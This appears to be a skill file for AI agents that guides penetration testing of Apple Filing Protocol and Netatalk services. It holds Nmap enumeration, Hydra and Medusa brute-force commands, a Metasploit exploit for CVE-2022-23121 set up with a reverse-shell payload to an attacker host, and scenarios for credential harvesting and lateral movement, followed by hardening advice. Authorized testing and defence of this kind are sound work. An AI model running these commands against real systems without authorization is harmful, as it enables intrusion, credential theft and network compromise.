abelrguezr AFP Pentesting Skill
A comprehensive guide for testing Apple Filing Protocol (AFP) services, primarily targeting Netatalk implementations on NAS appliances and legacy macOS systems.
When to Use This Skill
Use this skill when you encounter:
- Open port 548/tcp on a target
- NAS devices (QNAP, Synology, Western Digital, TrueNAS)
- Legacy macOS or Mac OS 9 file servers
- Netatalk daemon installations
- Time Machine over AFP configurations
- Any AFP-related enumeration, exploitation, or hardening tasks
Quick Reference
| Component | Details |
|---|---|
| Protocol | Apple Filing Protocol (AFP) |
| Default Port | 548/tcp (AFP over TCP/DSI) |
| Common Software | Netatalk (open-source), macOS AFP service |
| Key CVEs | CVE-2022-23121, CVE-2018-1160, CVE-2022-22995 |
Phase 1: Enumeration
Banner Grabbing & Server Info
Start with non-intrusive reconnaissance to identify the AFP server type and version:
# Metasploit auxiliary scanner
msfconsole -q
use auxiliary/scanner/afp/afp_server_info
set RHOSTS <target-ip>
run
# Nmap NSE scripts (comprehensive)
nmap -p 548 -sV --script "afp-* and not dos" <target-ip>
Nmap NSE Script Reference
| Script | Purpose |
|---|---|
afp-ls |
List available AFP volumes and files |
afp-brute |
Password brute-force against AFP login |
afp-serverinfo |
Dump server name, machine type, AFP version, supported UAMs |
afp-showmount |
List shares with their ACLs |
afp-path-vuln |
Detect directory-traversal (CVE-2010-0533) |
Automated Enumeration Script
Use the bundled script for quick enumeration:
./scripts/enumerate_afp.sh <target-ip>
This runs all relevant NSE scripts and saves output to afp-enumeration-<ip>.txt.
Brute-Force Testing
If credentials are needed, combine NSE with Hydra/Medusa:
# Hydra (recommended)
hydra -L users.txt -P passwords.txt afp://<target-ip>
# Medusa alternative
medusa -h <target-ip> -p 548 -u users.txt -P passwords.txt -e ns -M afp
Phase 2: Share Access & Interaction
Mounting AFP Shares
macOS:
# GUI: Finder → Go → Connect to Server → afp://<ip>/<share>
# Terminal:
mkdir /Volumes/afp
mount_afp afp://USER:PASSWORD@<ip>/SHARE /Volumes/afp
Linux (afpfs-ng):
# Install if needed
apt install afpfs-ng # Debian/Ubuntu
yum install afpfs-ng # RHEL/CentOS
# Mount share
mkdir /mnt/afp
mount_afp afp://USER:PASSWORD@<ip>/SHARE /mnt/afp
# Interactive client
afp_client <ip>
Important: Classic Mac resource-forks appear as hidden ._* AppleDouble files. These often contain metadata that standard DFIR tools miss. Always inspect them:
ls -la /mnt/afp/._*
Phase 3: Vulnerability Exploitation
CVE-2022-23121: Netatalk Unauthenticated RCE (CVSS 9.8)
Affected: Netatalk ≤ 3.1.12 Impact: Remote root code execution before authentication Common on: Western Digital PR4100, QNAP, Synology NAS
Metasploit Exploit:
msfconsole -q
use exploit/linux/netatalk/parse_entries
set RHOSTS <target-ip>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
set LHOST <your-ip>
run
Manual Check:
./scripts/check_netatalk_vulns.sh <target-ip>
CVE-2018-1160: Netatalk OpenSession Heap Overflow
Affected: Netatalk 3.0.0 - 3.1.11 Impact: Unauthenticated code execution via DSI OpenSession handler
Detection:
nmap -p 548 --script afp-serverinfo <target-ip>
# Look for Netatalk version in output
CVE-2022-22995: Symlink Redirection
Affected: Netatalk 3.1.0 - 3.1.17 (with AppleDouble v2 enabled) Impact: Arbitrary file write / RCE
CVE-2010-0533: Directory Traversal
Affected: Apple Mac OS X 10.6 AFP Detection:
nmap -p 548 --script afp-path-vuln <target-ip>
Phase 4: Defensive Recommendations
Immediate Actions
- Disable AFP unless strictly required. Use SMB3 or NFS instead.
- Upgrade Netatalk to ≥ 3.1.18 or 4.x (2024 release fixes multiple memory-safety bugs)
- Apply vendor firmware that back-ports 2022/2023/2024 patches
Hardening Checklist
- Enforce strong UAMs (e.g., DHX2), disable clear-text authentication
- Disable guest logins
- Restrict TCP 548 to trusted subnets via firewall
- Wrap AFP inside VPN when exposed remotely
- Periodically scan with
nmap -p 548 --script afp-*in CI/CD
Monitoring
Add to your security monitoring:
# Cron job for periodic scanning
0 2 * * 0 nmap -p 548 --script afp-serverinfo <network-range> >> /var/log/afp-scan.log
Common Attack Scenarios
Scenario 1: NAS Discovery & Exploitation
- Scan for port 548:
nmap -p 548 <target> - Enumerate:
./scripts/enumerate_afp.sh <target> - Check Netatalk version for CVE-2022-23121
- Exploit with Metasploit if vulnerable
- Pivot to internal network
Scenario 2: Credential Harvesting
- Mount AFP share with discovered credentials
- Extract
._*AppleDouble files for metadata - Look for password files, configs, backups
- Use credentials for lateral movement
Scenario 3: Legacy macOS Assessment
- Identify OS version via
afp-serverinfo - Test for CVE-2010-0533 (directory traversal)
- Attempt brute-force with common Mac passwords
- Mount and enumerate file system
References
- Netatalk Security Advisory CVE-2022-23121
- Tenable Research - CVE-2018-1160
- NCC Group - WD PR4100 Exploit
- Netatalk Project
Notes
- AFP has been superseded by SMB in macOS since OS X 10.9 (2013)
- Most modern attacks target Netatalk on NAS appliances, not macOS
- Always verify you have authorization before testing
- Netatalk 4.x (2024) fixes multiple memory-safety bugs - recommend upgrading over patching individual CVEs